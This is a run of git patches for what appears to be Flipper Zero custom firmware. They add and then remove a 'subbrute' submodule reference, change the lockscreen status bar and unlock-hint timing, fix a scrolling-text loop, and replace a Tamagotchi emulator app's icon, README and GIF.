--- a/.gitmodules +++ b/.gitmodules @@ -31,3 +31,9 @@ [submodule "applications/external/dap_link/lib/free-dap"] path = applications/external/dap_link/lib/free-dap url = https://github.com/ataradov/free-dap.git +[submodule "applications/external/subbrute"] + path = applications/external/subbrute + url = https://github.com/derskythe/flipperzero-subbrute.git +[submodule "applications/plugins/subbrute"] + path = applications/plugins/subbrute + url = https://github.com/derskythe/flipperzero-subbrute.git diff --git a/applications/external/subbrute b/applications/external/subbrute new file mode 160000 index 000000000..f9a4508e5 --- /dev/null +++ b/applications/external/subbrute @@ -0,0 +1 @@ +Subproject commit f9a4508e508393ce064179bc83b09e4516843400 diff --git a/applications/plugins/subbrute b/applications/plugins/subbrute index 49d32f8ed..f9a4508e5 160000 --- a/applications/plugins/subbrute +++ b/applications/plugins/subbrute @@ -1 +1 @@ -Subproject commit 49d32f8ed6790d3b9a99f261ad306766325a691a +Subproject commit f9a4508e508393ce064179bc83b09e4516843400 From 5cc2b7e85dde2ca231a23667337bd455a1eb0cee Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 19 Mar 2023 18:35:11 +0000 Subject: [PATCH 171/329] Remove subbrute(s) pt2 --- .gitmodules | 6 ------ applications/external/subbrute | 1 - applications/plugins/subbrute | 1 - 3 files changed, 8 deletions(-) delete mode 160000 applications/external/subbrute delete mode 160000 applications/plugins/subbrute diff --git a/.gitmodules b/.gitmodules index ffdca49cf..56368cd58 100644 --- a/.gitmodules +++ b/.gitmodules @@ -31,9 +31,3 @@ [submodule "applications/external/dap_link/lib/free-dap"] path = applications/external/dap_link/lib/free-dap url = https://github.com/ataradov/free-dap.git -[submodule "applications/external/subbrute"] - path = applications/external/subbrute - url = https://github.com/derskythe/flipperzero-subbrute.git -[submodule "applications/plugins/subbrute"] - path = applications/plugins/subbrute - url = https://github.com/derskythe/flipperzero-subbrute.git diff --git a/applications/external/subbrute b/applications/external/subbrute deleted file mode 160000 index f9a4508e5..000000000 --- a/applications/external/subbrute +++ /dev/null @@ -1 +0,0 @@ -Subproject commit f9a4508e508393ce064179bc83b09e4516843400 diff --git a/applications/plugins/subbrute b/applications/plugins/subbrute deleted file mode 160000 index f9a4508e5..000000000 --- a/applications/plugins/subbrute +++ /dev/null @@ -1 +0,0 @@ -Subproject commit f9a4508e508393ce064179bc83b09e4516843400 From 888c356c983bf2d02e527b78fc5387e6e93616a4 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 19 Mar 2023 18:45:23 +0000 Subject: [PATCH 172/329] Make the lockscreen statusbar setting actually work --- applications/services/gui/gui.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/applications/services/gui/gui.c b/applications/services/gui/gui.c index 8d64d7ebf..6ca38a942 100644 --- a/applications/services/gui/gui.c +++ b/applications/services/gui/gui.c @@ -268,7 +268,9 @@ static void gui_redraw(Gui* gui) { bool need_attention = (gui_view_port_find_enabled(gui->layers[GuiLayerWindow]) != 0 || gui_view_port_find_enabled(gui->layers[GuiLayerFullscreen]) != 0); - gui_redraw_status_bar(gui, need_attention); + if(XTREME_SETTINGS()->lockscreen_statusbar) { + gui_redraw_status_bar(gui, need_attention); + } } else { if(!gui_redraw_fs(gui)) { if(!gui_redraw_window(gui)) { From 9d42404ef34a591f64114820d3cfb4c6e6d3a716 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 19 Mar 2023 18:52:15 +0000 Subject: [PATCH 173/329] Use default screen timeout on lockscreen --- .../services/desktop/scenes/desktop_scene_locked.c | 3 --- applications/services/desktop/views/desktop_view_locked.c | 7 ------- applications/services/desktop/views/desktop_view_locked.h | 1 - 3 files changed, 11 deletions(-) diff --git a/applications/services/desktop/scenes/desktop_scene_locked.c b/applications/services/desktop/scenes/desktop_scene_locked.c index f981572e5..1bc0683f6 100644 --- a/applications/services/desktop/scenes/desktop_scene_locked.c +++ b/applications/services/desktop/scenes/desktop_scene_locked.c @@ -88,9 +88,6 @@ bool desktop_scene_locked_on_event(void* context, SceneManagerEvent event) { consumed = true; break; case DesktopLockedEventUpdate: - if(desktop_view_locked_is_locked_hint_visible(desktop->locked_view)) { - notification_message(desktop->notification, &sequence_display_backlight_off); - } desktop_view_locked_update(desktop->locked_view); consumed = true; break; diff --git a/applications/services/desktop/views/desktop_view_locked.c b/applications/services/desktop/views/desktop_view_locked.c index 23aef6e92..57399a21b 100644 --- a/applications/services/desktop/views/desktop_view_locked.c +++ b/applications/services/desktop/views/desktop_view_locked.c @@ -290,10 +290,3 @@ void desktop_view_locked_unlock(DesktopViewLocked* locked_view) { view_commit_model(locked_view->view, true); xTimerChangePeriod(locked_view->timer, pdMS_TO_TICKS(COVER_MOVING_INTERVAL_MS), portMAX_DELAY); } - -bool desktop_view_locked_is_locked_hint_visible(DesktopViewLocked* locked_view) { - DesktopViewLockedModel* model = view_get_model(locked_view->view); - const DesktopViewLockedState view_state = model->view_state; - view_commit_model(locked_view->view, false); - return view_state == DesktopViewLockedStateLockedHintShown; -} diff --git a/applications/services/desktop/views/desktop_view_locked.h b/applications/services/desktop/views/desktop_view_locked.h index 4c12c0274..8c59c1832 100644 --- a/applications/services/desktop/views/desktop_view_locked.h +++ b/applications/services/desktop/views/desktop_view_locked.h @@ -19,4 +19,3 @@ void desktop_view_locked_free(DesktopViewLocked* locked_view); void desktop_view_locked_lock(DesktopViewLocked* locked_view, bool pin_locked); void desktop_view_locked_unlock(DesktopViewLocked* locked_view); void desktop_view_locked_close_cover(DesktopViewLocked* locked_view); -bool desktop_view_locked_is_locked_hint_visible(DesktopViewLocked* locked_view); From 477bf93a8594127750ba43b8abac2f2798dd892a Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 19 Mar 2023 19:00:42 +0000 Subject: [PATCH 174/329] Show unlock prompt for longer --- applications/services/desktop/views/desktop_view_locked.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/applications/services/desktop/views/desktop_view_locked.c b/applications/services/desktop/views/desktop_view_locked.c index 57399a21b..462aa5828 100644 --- a/applications/services/desktop/views/desktop_view_locked.c +++ b/applications/services/desktop/views/desktop_view_locked.c @@ -14,7 +14,7 @@ #include "desktop_view_locked.h" #define COVER_MOVING_INTERVAL_MS (50) -#define LOCKED_HINT_TIMEOUT_MS (1000) +#define LOCKED_HINT_TIMEOUT_MS (3000) #define UNLOCKED_HINT_TIMEOUT_MS (2000) #define COVER_OFFSET_START -64 @@ -283,7 +283,6 @@ void desktop_view_locked_lock(DesktopViewLocked* locked_view, bool pin_locked) { void desktop_view_locked_unlock(DesktopViewLocked* locked_view) { locked_view->lock_count = 0; DesktopViewLockedModel* model = view_get_model(locked_view->view); - // model->view_state = DesktopViewLockedStateUnlockedHintShown; model->view_state = DesktopViewLockedStateCoverOpening; model->cover_offset = COVER_OFFSET_END; model->pin_locked = false; From 51528ce70039993a9fd877056152739fc406f900 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 19 Mar 2023 19:52:27 +0000 Subject: [PATCH 175/329] Fix scrolling text lmao --- applications/services/gui/elements.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/services/gui/elements.c b/applications/services/gui/elements.c index c84f09dd6..2e8e34e2a 100644 --- a/applications/services/gui/elements.c +++ b/applications/services/gui/elements.c @@ -598,7 +598,7 @@ void elements_scrollable_text_line( // Calculate scroll size size_t scroll_size = furi_string_size(line); size_t right_width = 0; - for(size_t i = scroll_size; i > 0; i--) { + for(size_t i = scroll_size - 1; i > 0; i--) { right_width += canvas_glyph_width(canvas, furi_string_get_char(line, i)); if(right_width > width) break; scroll_size--; From 37864195ba082a99801384b7257cd7f370588dcc Mon Sep 17 00:00:00 2001 From: ClaraCrazy Date: Sun, 19 Mar 2023 23:48:53 +0100 Subject: [PATCH 176/329] New tama Icon --- applications/external/tama_p1/README.md | 76 --------------------- applications/external/tama_p1/tama.gif | Bin 1624022 -> 0 bytes applications/external/tama_p1/tamaIcon.png | Bin 1924 -> 1869 bytes 3 files changed, 76 deletions(-) delete mode 100644 applications/external/tama_p1/README.md delete mode 100644 applications/external/tama_p1/tama.gif diff --git a/applications/external/tama_p1/README.md b/applications/external/tama_p1/README.md deleted file mode 100644 index cb58931cc..000000000 --- a/applications/external/tama_p1/README.md +++ /dev/null @@ -1,76 +0,0 @@ -Tama P1 Emulator for Flipper Zero -======================================= - -This is a tama P1 Emulator app for Flipper Zero, based on [TamaLIB](https://github.com/jcrona/tamalib/). - -![Alt Text](tama.gif) - -How to play ------------ -Create a `tama_p1` folder in your microSD card, and put the ROM as `rom.bin`. -Use a search engine to find the Tamagotchi ROM. There is a file named `tama.b`. -Rename this to `rom.bin`. - -*Controls in portrait mode are the same as landscape mode, but turned 90 degrees.* -- Left button is A. -- Down or OK is B. -- Right button is C. -- Up button takes you to the emulator menu. -- Hold the Back button to save and exit. - -![Alt Text](Screenshot1.png) -![Alt Text](Screenshot2.png) - -Building --------- -Move this folder into flippers `applications/plugins/tama_p1`. - - -Launching the app, directly from console to flipper: -``` -./fbt launch_app APPSRC=applications/plugins/tama_p1 -``` - -Run the following to compile icons: -``` -scripts/assets.py icons applications/plugins/tama_p1/icons applications/plugins/tama_p1/compiled -``` - -Note: you may also need to add `-Wno-unused-parameter` to `CCFLAGS` in -`site_cons/cc.scons` to suppress unused parameter errors in TamaLIB. - -Debugging ---------- -Using the serial script from [FlipperScripts](https://github.com/DroomOne/FlipperScripts/blob/main/serial_logger.py) -it is easy to add direct logging after running the application: -``` -`python .\serial_logger.py` - -`./fbt launch_app APPSRC=applications/plugins/tama_p1; python .\serial_logger.py` -``` -Alternatively, follow the directions here: https://flipper.atmanos.com/docs/debugging/viewing/ - -Implemented ------------ -- Menu options: - - Switch between portrait and landscape - - A+C shortcut (mute/change in-game time) - - Double / quadruple speed - -![Alt Text](Screenshot3.png) - -To-Do ------ -- Fix bugs: - - When not on 1x speed, after mashing buttons in quick succession, buttons stop responding for a few seconds. But the rom still runs. -- Stuff to do when bored: - - optimization and bug fixing (see above) - - add to this list - - portrait menu - - Add "loading bar" when saving - - "Advanced" settings - - saving and loading, multiple save states, with the date and time of of each save. - - Autosave and changing autosave frequency - - Save settings to /tama_p1/settings.txt - -![Alt Text](Screenshot4.png) diff --git a/applications/external/tama_p1/tama.gif b/applications/external/tama_p1/tama.gif deleted file mode 100644 index c41222260927de98bc9eba688d7fbc324706badf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1624022 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 